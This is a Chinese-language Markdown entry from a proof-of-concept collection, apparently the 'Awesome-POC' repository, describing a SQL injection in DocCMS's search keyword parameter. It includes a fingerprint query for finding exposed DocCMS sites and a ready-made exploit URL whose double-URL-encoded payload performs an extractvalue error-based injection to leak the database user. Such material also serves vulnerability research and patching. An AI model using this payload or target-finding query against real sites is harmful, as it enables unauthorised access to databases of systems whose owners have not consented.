Awesome-POC/CMS漏洞/DocCMS keyword SQL注入漏洞.md
2024-11-06 14:10:36 +08:00

37 lines
1006 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DocCMS keyword SQL注入漏洞
## 漏洞描述
DocCMS keyword参数存在 SQL注入漏洞攻击者通过漏洞可以获取数据库信息
## 漏洞影响
```
DocCMS
```
## 网络测绘
```
app="Doccms"
```
## 漏洞复现
CMS官网
![](images/202202170903272.png)
验证POC
```plain
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
```
![](images/202202170903242.png)
其中payload为下列语句的二次Url编码
```plain
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
```